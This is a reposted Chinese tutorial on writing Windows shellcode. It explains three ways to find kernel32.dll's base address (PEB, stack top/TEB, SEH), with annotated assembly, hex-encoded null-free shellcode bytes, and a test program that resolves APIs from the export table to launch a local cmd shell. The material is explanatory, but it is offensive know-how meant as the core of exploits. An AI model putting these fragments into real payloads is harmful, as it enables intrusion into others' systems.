转自:
http://hi.baidu.com/gz1x/blog/item/c3c8f8f8b028040cd9f9fd90.html
2007-10-10 15:21
2007-10-10 15:21
<pre><font size="2">gz1X [gz1x(at)tom(dot)com]<br /><br />2005.6.30</font><font size="2"> </font></pre><br /><br /><br /><pre><font size="2">[什么是shellcode]<br />———————————<br />Shellcode是一个攻击程序(Exploit)的核心代码,能够在溢出后改变系统的正常流程,取得系统的控制权,是一些汇编代码抽取成的16进制码;<br /></font></pre><br /><pre><font size="2"><br /><br />[经典溢出攻击流程]<br />———————————<br />1. 查找Kernel32.dll基地址;<br />2. 查找GetProcAddress()函数地址;<br />3. 查找其它API函数地址;<br />4. CreateProcess();<br />5. 远程连接。<br /><br />我们都知道WINDOWS的系统功能不像UNIX的系统调用那样实现,由于WINDOWS版本的不断更新,使得系统调用对SHELLCODE几乎起不到作用。<br />但是WINDOWS是靠DLL动态链接库来实现,这就是说,如果能从KERNEL32.DLL中获取LoadLibrary()和GetProcAddress()函数的地址,我们就可以调用WINDOWS下的所有函数了。<br />所以我们需要对KERNEL32.DLL进行地址定位,这也是本文的目的。<br /></font></pre><br /><pre><font size="2"><br /><br />[获取KERNEL地址的方法]<br />———————————<br />1.通过PEB获取;<br />2.通过TOPSTACK-TEB获取;<br />3.通过SEH获取;<br /></font></pre><br /><pre><font size="2"><br /><br />[第三方工具获取基址]<br />———————————<br />为了方便审核和对比结果,我们用MASM提供的dumpbin分析本地kernel32.dll的加载地址。如下:<br /><br />C:\WINDOWS\system32>dumpbin /headers kernel32.dll<br /><br /><br /> //...此处省略<br /><br />看OPTIONAL HEADER VALUES里的7C800000 image base,其中7C800000即为本地kernel32.dll的加载地址。<br />注意是本地的加载地址,在远程目标机器上,我们需要额外的技巧来实现kernel32.dll地址的查找,即PEB,SEH等方法。<br />当然,为了简单,你也可以直接用Windbg加载一个类似noteapad的可执行程序,ModLoad里很清晰地给出了kernel32.dll的地址。<br /></font></pre><br /><pre><font size="2"><br /><br />[PEB]<br />———————————<br />获取KERNEL地址最有效的方法就是通过PEB实现,即:PEB kernel base location。<br />下面是一个比较常见的利用PEB获取kernel32.dll地址的shellcode,31字节。<br /><br />———————————————— <br />/*程序1 */<br />004045F4 > 6A 30 PUSH 30<br />004045F6 59 POP ECX<br />004045F7 64:8B09 MOV ECX,DWORD PTR FS:[ECX]<br />004045FA 85C9 TEST ECX,ECX<br />004045FC 78 0C JS SHORT OllyTest.0040460A<br />004045FE 8B49 0C MOV ECX,DWORD PTR DS:[ECX+C]<br />00404601 8B71 1C MOV ESI,DWORD PTR DS:[ECX+1C]<br />00404604 AD LODS DWORD PTR DS:[ESI]<br />00404605 8B48 08 MOV ECX,DWORD PTR DS:[EAX+8]<br />00404608 EB 09 JMP SHORT OllyTest.00404613<br />0040460A 8B49 34 MOV ECX,DWORD PTR DS:[ECX+34]<br />0040460D 8B49 7C MOV ECX,DWORD PTR DS:[ECX+7C]<br />00404610 8B49 3C MOV ECX,DWORD PTR DS:[ECX+3C]<br />———————————————— <br /><br />现在来分析下,PEB方法查找流程如下:<br />(1) FS寄存器 -> TEB结构;<br />(2) TEB+0x30 -> PEB结构;<br />(3) PEB+0x0c -> PEB_LDR_DATA;<br />(4) PEB_LDR_DATA+0x1c -> Ntdll.dll;<br />(5) Ntdll.dll+0x08 -> Kernel32.dll。<br />在2000以后的系统中,实际上实现的方法只要很短的几行:<br /> mov eax,fs:[30h] <br /> mov eax,[eax+0ch] <br /> mov esi,[eax+1ch] <br /> lodsd <br /> mov ebx,[eax+08h] <br />而在程序1中涉及了9X系统,所以还有相关的判断跳转。<br /><br />首先,我们来看看TEB和PEB的结构,利用WINDBG,调试如下:<br /><br />0:000> dt ntdll!_TEB<br /> +0x000 NtTib : _NT_TIB<br /> +0x01c EnvironmentPointer : Ptr32 Void<br /> +0x020 ClientId : _CLIENT_ID<br /> +0x028 ActiveRpcHandle : Ptr32 Void<br /> +0x02c ThreadLocalStoragePointer : Ptr32 Void<br /> +0x030 ProcessEnvironmentBlock : Ptr32 _PEB<br /> +0x034 LastErrorValue : Uint4B<br /> +0x038 CountOfOwnedCriticalSections : Uint4B<br /> +0x03c CsrClientThread : Ptr32 Void<br /> +0x040 Win32ThreadInfo : Ptr32 Void<br /> ...//此处省略<br /> +0xfac CurrentTransactionHandle : Ptr32 Void<br /> +0xfb0 ActiveFrame : Ptr32 _TEB_ACTIVE_FRAME<br /> +0xfb4 SafeThunkCall : UChar<br /> +0xfb5 BooleanSpare : [3] UChar<br /></font></pre><br /><pre><font size="2"><br /><br />0:000> dt -v -r ntdll!_PEB<br />struct _PEB, 65 elements, 0x210 bytes<br /> +0x000 InheritedAddressSpace : UChar<br /> +0x001 ReadImageFileExecOptions : UChar<br /> +0x002 BeingDebugged : UChar<br /> +0x003 SpareBool : UChar<br /> +0x004 Mutant : Ptr32 to Void<br /> +0x008 ImageBaseAddress : Ptr32 to Void<br /> +0x00c Ldr : Ptr32 to struct _PEB_LDR_DATA, 7 elements, 0x28 bytes<br /> +0x000 Length : Uint4B<br /> +0x004 Initialized : UChar<br /> +0x008 SsHandle : Ptr32 to Void<br /> +0x00c InLoadOrderModuleList : struct _LIST_ENTRY, 2 elements, 0x8 bytes<br /> +0x000 Flink : Ptr32 to struct _LIST_ENTRY, 2 elements, 0x8 bytes<br /> +0x004 Blink : Ptr32 to struct _LIST_ENTRY, 2 elements, 0x8 bytes<br /> +0x014 InMemoryOrderModuleList : struct _LIST_ENTRY, 2 elements, 0x8 bytes<br /> +0x000 Flink : Ptr32 to struct _LIST_ENTRY, 2 elements, 0x8 bytes<br /> +0x004 Blink : Ptr32 to struct _LIST_ENTRY, 2 elements, 0x8 bytes<br /> +0x01c InInitializationOrderModuleList : struct _LIST_ENTRY, 2 elements, 0x8 bytes<br /> +0x000 Flink : Ptr32 to struct _LIST_ENTRY, 2 elements, 0x8 bytes<br /> +0x004 Blink : Ptr32 to struct _LIST_ENTRY, 2 elements, 0x8 bytes<br /> +0x024 EntryInProgress : Ptr32 to Void<br /> +0x010 ProcessParameters : Ptr32 to struct _RTL_USER_PROCESS_PARAMETERS, 28 elements, 0x290 bytes<br /> +0x000 MaximumLength : Uint4B<br /> +0x004 Length : Uint4B<br /> +0x008 Flags : Uint4B<br /> +0x00c DebugFlags : Uint4B<br /> +0x010 ConsoleHandle : Ptr32 to Void<br /> +0x014 ConsoleFlags : Uint4B<br /> +0x018 StandardInput : Ptr32 to Void<br /> +0x01c StandardOutput : Ptr32 to Void<br /> +0x020 StandardError : Ptr32 to Void<br /> ... //此处省略<br /> +0x1f8 ActivationContextData : Ptr32 to Void<br /> +0x1fc ProcessAssemblyStorageMap : Ptr32 to Void<br /> +0x200 SystemDefaultActivationContextData : Ptr32 to Void<br /> +0x204 SystemAssemblyStorageMap : Ptr32 to Void<br /> +0x208 MinimumStackCommit : Uint4B<br /><br /><br />再结合[程序1],有:<br /><br />PUSH 30<br />POP ECX<br />这句很简单,给ECX赋值30。<br /><br /><br />MOV ECX,DWORD PTR FS:[ECX]<br />FS:0指向TEB,偏移30H的结果是指向PEB。<br /><br /><br />TEST ECX,ECX<br />JS SHORT OllyTest.0040460A<br />测试ECX,进行9X和NT的判断,符号位置位(即test结果为负)则认定为9X系统,进行短跳转。否则为2000/XP/2003系列,接着往下走。<br /><br /><br />MOV ECX,DWORD PTR DS:[ECX+C]<br />MOV ESI,DWORD PTR DS:[ECX+1C]<br />LODS DWORD PTR DS:[ESI]<br />MOV ECX,DWORD PTR DS:[EAX+8]<br />JMP SHORT OllyTest.00404613<br />DS:[ECX+C]指向了PEB_LDR_DATA结构(此结构作用:枚举当前进程空间中的模块),[ECX+1C]指向InitializationOrderModuleList结构,<br />这个结构里偏移8H就是kernel32.dll的相关。 因为是在NT下实现,所以找到后直接JMP掉9X的处理过程。<br /><br /><br />MOV ECX,DWORD PTR DS:[ECX+34]<br />MOV ECX,DWORD PTR DS:[ECX+7C]<br />MOV ECX,DWORD PTR DS:[ECX+3C]<br />WIN9X下的实现。<br /><br />由于shellcode中不能出现空字符,所以需要采用一些手段来进行赋值等操作,程序1和下面的程序2都采用了一些手法来到达目的。<br /></font></pre><br /><pre><font size="2"><br /><br />[PEB]扩展<br />————————<br />注释部分演示了另一种方法,实际上就是头几句用了个技巧,减少了字节数。<br /><br />———————————————— <br />/*程序2 //程序注释采用C语言风格*/<br />xor eax, eax //另外一种方法<br />xor edx, edx //来自milw0rm<br />mov dl, 30h //字节数减少了<br />mov eax, fs:[edx] //后面相同<br />test eax, eax //add eax, fs:[eax+30h]<br />js for9x //js for9x<br /> <br />mov eax, [eax+0Ch] <br />mov esi, [eax+1Ch] <br />lodsd <br />mov eax, [eax+08h] <br />jmp short skip <br /><br />for9x: <br />mov eax, [eax+34h] <br /> lea eax, [eax+7Ch] <br /> mov eax, [eax+3Ch] <br /><br />skip:<br />———————————————— <br /><br />这是比较保守的写法了,但是也考虑了0X00的问题。<br />这个抽成的shellcode字节数应该比程序1那个长,35字节;<br />光看开头的几句:<br />xor eax, eax<br />xor edx, edx<br />mov dl, 30h<br />就可以知道字节数不少,抽出来16进制是:<br />\x31\xC0<br />\x31\xD2 <br />\xB2\x30 <br />6个字节,和程序1的那个:<br />6A 30 PUSH 30<br />59 POP ECX<br />相差了3个字节...<br />完整的16进制码如下:<br />"\x31\xC0" /* xor eax, eax */<br />"\x31\xD2" /* xor edx, edx */<br />"\xB2\x30" /* mov dl, 30h */<br />"\x64\x8B\x02" /* mov eax, [fs:edx] */ <br />"\x85\xC0" /* test eax, eax */<br />"\x78\xC0" /* js 0Ch */<br />"\x8B\x40\x0C" /* mov eax, [eax+0Ch] */ <br />"\x8B\x70\x1C" /* mov esi, [eax+1Ch] */<br />"\xAD" /* lodsd */<br />"\x8B\x40\x08" /* mov eax, [eax+08h] */<br />"\xEB\x07" /* jmp short 09h */<br />"\x8B\x40\x34" /* mov eax, [eax+34h] */ <br />"\x8D\x40\x7C" /* lea eax, [eax+7Ch] */<br />"\x8D\x40\x3C" /* mov eax, [eax+3Ch] */<br /></font></pre><br /><pre><font size="2"><br /><br />[TOPSTACK-TEB]<br />————————<br />本地线程的堆栈里偏移1CH(或者18H)的指针指向kernel32.dll内部,而fs:[0x18]指向当前线程而且往里四个字节指向线程栈,<br />结合堆栈的top pointer进行对齐遍历,找到PE文件头(DLL的文件格式)的“MZ”MSDOS标志,就拿到了kernel32.dll基址。<br /><br />先从Windbg里查看一下:<br /><br />0:000> dt -v -r _NT_TIB $teb<br />struct _NT_TIB, 8 elements, 0x1c bytes<br /> +0x000 ExceptionList : 0x0013fd0c struct _EXCEPTION_REGISTRATION_RECORD, 2 elements, 0x8 bytes<br /> +0x000 Next : 0xffffffff struct _EXCEPTION_REGISTRATION_RECORD, 2 elements, 0x8 bytes<br /> +0x000 Next : ???? <br /> +0x004 Handler : ???? <br /> +0x004 Handler : 0x7c92ee18 _EXCEPTION_DISPOSITION ntdll!_except_handler3+0<br /> +0x004 StackBase : 0x00140000 <br /> +0x008 StackLimit : 0x0013e000 <br /> +0x00c SubSystemTib : (null) <br /> +0x010 FiberData : 0x00001e00 <br /> +0x010 Version : 0x1e00<br /> +0x014 ArbitraryUserPointer : (null) <br /> +0x018 Self : 0x7ffdf000 struct _NT_TIB, 8 elements, 0x1c bytes<br /> +0x000 ExceptionList : 0x0013fd0c struct _EXCEPTION_REGISTRATION_RECORD, 2 elements, 0x8 bytes<br /> +0x000 Next : 0xffffffff struct _EXCEPTION_REGISTRATION_RECORD, 2 elements, 0x8 bytes<br /> +0x004 Handler : 0x7c92ee18 _EXCEPTION_DISPOSITION ntdll!_except_handler3+0<br /> +0x004 StackBase : 0x00140000 <br /> +0x008 StackLimit : 0x0013e000 <br /> +0x00c SubSystemTib : (null) <br /> +0x010 FiberData : 0x00001e00 <br /> +0x010 Version : 0x1e00<br /> +0x014 ArbitraryUserPointer : (null) <br /> +0x018 Self : 0x7ffdf000 struct _NT_TIB<br /><br />其中+0x018 Self是一个指向TEB自己的指针,StackBase指向本线程堆栈的原点,即地址最高处,这里是0x140000,<br />而StackLimit则指向堆栈所在区间的下部边界,即地址最低处.<br /></font></pre><br /><pre><font size="2"><br />———————————————— <br />/*程序3 */<br />xor esi, esi<br />mov esi, fs:[esi + 0x18] //TEB <br />mov eax, [esi+4] //这个是需要的栈顶StackBase,top of the stack<br />mov eax, [eax - 0x1c] //指向Kernel32.dll内部 <br /> //mov eax, [eax - 0x18]<br />find_kernel32_base:<br />dec eax //开始遍历页<br />xor ax, ax <br />cmp word ptr [eax], 0x5a4d //"MZ"<br />jne find_kernel32_base //循环遍历,找到则返回eax<br />———————————————— <br /><br /></font></pre><br /><pre><font size="2">为了方便测试,我写了一个PEB/TEB/SEH通用测试例程:<br /><br />/* <br /> * 程序4<br /> * SEH method test for Windows 9x/NT/2k/XP <br /> * asm return eax contained kernel32.dll base address.<br /> * print kernel base address in the console.<br /> */ <br />__inline __declspec(naked) unsigned int GetKernel32()<br />{<br /> __asm<br />{<br /> push esi<br /> push ecx<br /><br />/* you should replace the follow section if you want to test the others */<br /> xor esi, esi<br /> mov esi, fs:[esi + 0x18] <br /> mov eax, [esi+4] <br /> mov eax, [eax - 0x1c] <br /> <br /> find_kernel32_base:<br /> dec eax <br /> xor ax, ax <br /> cmp word ptr [eax], 0x5a4d <br /> jne find_kernel32_base <br />/* Above is the section needed to replace */<br /><br /> pop ecx<br /> pop esi<br /> ret<br />}<br />}<br /><br />void main(void)<br />{<br /> printf("Kernel base is located at: 0x%0.8X\n",GetKernel32());<br />}<br /><br />注意这几句:<br />1. mov eax, [eax - 0x1c]<br />一般地,它将指向kernel32.dll内部,你可以在编译器里单步跟踪调试。其中,eax值为StackBase(0x140000),计算eax-0x1c可得0x0013FFE4;<br />在我的机器上0x0013FFE4为0x7C839AA8,0x0013FFE8为7C816FE0。<br />此时栈的分布大致如下:<br /> | ... |<br /> 0013FFE0 | FFFFFFFF | SEH链尾部 //哦?有疑问吗?SEH吗?<br /> 0013FFE4 | 7C839AA8 | SEH处理程序<br /> 0013FFE8 | 7C816FE0 | kernel32.7C816FE0<br /> | 00000000 |<br /> | ... |<br /><br />2. dec eax <br /> xor ax, ax <br />这两句的作用就是实现页遍历,单步跟踪结果如下:<br />0x7C839AA8 -> 0x7C839AA7 -> 0x7C830000 -> 0x7C82FFFF -> 0x7C820000 -> ... -> 0x7C800000 <br /><br />但是,在不同环境下的堆栈不同,如果偏移1C(或18)不指向kernel32.dll内部,将导致获取地址失败,当然这种情况很少发生,<br />至少我现在还没遇到过;另一个几率很小的失败现象是64K的页边界有"MZ"这样的特征字符出现,这样可能会误导得到错误的地址。<br /></font></pre><br /><pre><font size="2"><br /><br /><br />[SEH]<br />———————————<br />WINOWS另一个重要的也是未公开的技术(虽然现在不是什么新技术了)就是SEH(Structured Exception Handling)。<br />默认的异常处理(注意是默认的,如果你自己重写了异常处理,卸掉了默认的处理,那么此方法就行不通了。但一般没人这么做...),<br />它指向kernel32.dll内部,我们要做的就是顺藤摸瓜。<br />思路是这样的:进程里FS:[0]指向的是SEH链的最内层,为了找到顶层异常处理,我们向外遍历找到prev成员等于0xffffffff的EXCEPTION_REGISTER结构,<br />该结构的handler值就是系统默认的处理例程;这里有个细节,DLL的装载是64K边界对齐的,所以需要利用遍历到的指向最后的异常处理的指针进行页查找,<br />再结合PE文件MSDOS标志部分,只要在每个64K边界查找“MZ”字符就能找到kernel32.dll基址。<br /><br />———————————————— <br />/*程序5 */<br />xor ecx, ecx<br />mov esi, fs:[ecx]<br /><br />find_seh:<br />mov eax,[esi] <br />mov esi, eax<br />cmp [eax], ecx<br />jns find_seh //0xffffffff<br />mov eax, [eax + 0x04] //handler<br /><br />find_kernel32_base:<br />dec eax<br />xor ax, ax<br />cmp word ptr [eax], 0x5a4d<br />jne find_kernel32_base<br />———————————————— <br /><br />我们将[程序5]套用[程序4]进行跟踪调试,handler指向的地址为0x7C839AA8,页遍历的结果和[程序4]相同。<br />0x7C839AA8这个地址处应该是最后的异常处理函数,我们可以从内存里看到:<br /><br />7C839AA8 55 8B EC 83 EC 08 53 56 U嬱冹.SV<br />7C839AB0 57 55 FC 8B 5D 0C 8B 45 WU鼖].婨<br />7C839AB8 08 F7 40 04 06 00 00 00 .鰼.....<br />7C839AC0 0F 85 AB 00 00 00 89 45 .叓...塃<br />7C839AC8 F8 8B 45 10 89 45 FC 8D 鴭E.塃鼚<br />7C839AD0 45 F8 89 43 FC 8B 73 0C E鴫C鼖s.<br />7C839AD8 8B 7B 08 53 E8 7A 5E 04 媨.S鑪^.<br />7C839AE0 00 83 C4 04 0B C0 74 7B .兡..纓{<br />... //此处省略<br />7C839B78 E8 62 43 FD FF 83 C4 08 鑒C..兡.<br />7C839B80 5D B8 01 00 00 00 5D 5F ].....]_<br />7C839B88 5E 5B 8B E5 5D C3<br /><br />很经典的函数类型汇编代码:<br /> 55 push ebp<br /> 8b ec mov ebp, esp<br /> 83 ec 08 sub esp, 08<br /> 53 push ebx<br /> 56 push esi<br /> 57 push edi<br /> ...<br /> 5f pop edi<br /> 5e pop esi<br /> 5b pop ebx<br /> 8b e5 mov esp, ebp<br /> 5d pop ebp<br /> c3 ret <br /><br />这样也解开了TOPSTACK里的疑惑,回头去看栈里的内容,就知道为什么我会注释上SEH的字样了,其实栈里保存的也是默认的异常处理函数地址。<br />从根源上来说,TOPSTACK和SEH应该是属于一类方法,不过既然实现上有不同,我们也暂且划分成两类吧。<br /></font></pre><br /><pre><font size="2"><br /><br /><br />[shell测试程序]<br />———————————<br />获取KERNEL地址的方法介绍的差不多了,下面演示下结合PE结构获取API的方法得到cmd shell的例程。<br /><br /><br />/* <br /> * 程序6<br /> * Get the cmd shell.<br /> * Coded by gz1x.<br /> */ <br />unsigned int GetFunc(unsigned int ImageBase,const char*FuncName,int flen)<br />{ <br /> __asm<br /> { <br /> mov eax,ImageBase<br /> mov eax,[eax+0x3c] <br /> add eax,ImageBase //PE header<br /> mov eax,[eax+0x78] //Data_Directory<br /> add eax,ImageBase <br /> mov esi,eax //IMAGE_EXPORT_DIRECTORY<br /> mov ecx,[eax+0x18] //NumberOfName <br /> mov eax,[eax+0x20] //AddressOfName<br /> add eax,ImageBase<br /> mov ebx,eax <br /> xor edx,edx<br /> FindLoop:<br /> push ecx<br /> push esi<br /> mov eax,[eax]<br /> add eax,ImageBase<br /> mov esi,FuncName<br /> mov edi,eax<br /> mov ecx,flen<br /> cld<br /> rep cmpsb //compare function<br /> pop esi //pop esi => IMAGE_EXPORT_DIRECTORY<br /> je Found <br /> inc edx <br /> add ebx,4<br /> mov eax,ebx<br /> pop ecx<br /> loop FindLoop <br /> Found:<br /> add esp,4<br /> mov eax,esi<br /> mov eax,[eax+0x1c] //AddressOfFunction<br /> add eax,ImageBase <br /> shl edx,2<br /> add eax,edx<br /> mov eax,[eax] <br /> add eax,ImageBase //eax return<br /> }<br />}<br /><br />__inline __declspec(naked) unsigned int GetKernel32()<br />{<br /> __asm<br /> {<br /> push esi<br /> push ecx<br /> /* you should replace the follow section if you want to test the others */<br /> xor eax, eax <br /> xor esi, esi<br /> mov esi, fs:[esi + 0x18] <br /> mov eax, [esi+4] <br /> mov eax, [eax - 0x1c] <br /> find_kernel32_base:<br /> dec eax <br /> xor ax, ax<br /> cmp word ptr [eax], 0x5a4d <br /> jne find_kernel32_base <br /> /* Above is the section needed to replace */<br /> pop ecx<br /> pop esi<br /> ret<br /> }<br />}<br /><br />void main(void)<br />{<br /> char risefunc[]="cmd",dll[]="msvcrt",func[]="system";<br /> unsigned int loadfun;<br /> loadfun=GetFunc(GetKernel32(),"LoadLibraryA",12);<br /><br /> __asm<br /> {<br /> lea eax,dll<br /> push eax<br /> call dword ptr loadfun //LoadLibraryA("msvcrt");<br /> lea ebx,func<br /> push 0x06<br /> push ebx<br /> push eax<br /> call GetFunc //GetFunc([msvcrt],"system",6);<br /> mov ebx,eax<br /> add esp,0x04<br /> lea eax,risefunc<br /> push eax <br /> call ebx //system("cmd");<br /> }<br />}<br /><br />其中,GetFunc函数通过PE文件头结构得到输出表的API地址,GetKernel32函数是在介绍SEH时给出的获取KERNEL地址的方法。<br />main函数里为了测试方便,加载了msvcrt.dll,获取其中的system函数,从而得到cmd窗口。</font></pre>
转载于:https://www.cnblogs.com/fanzi2009/archive/2009/03/19/1416803.html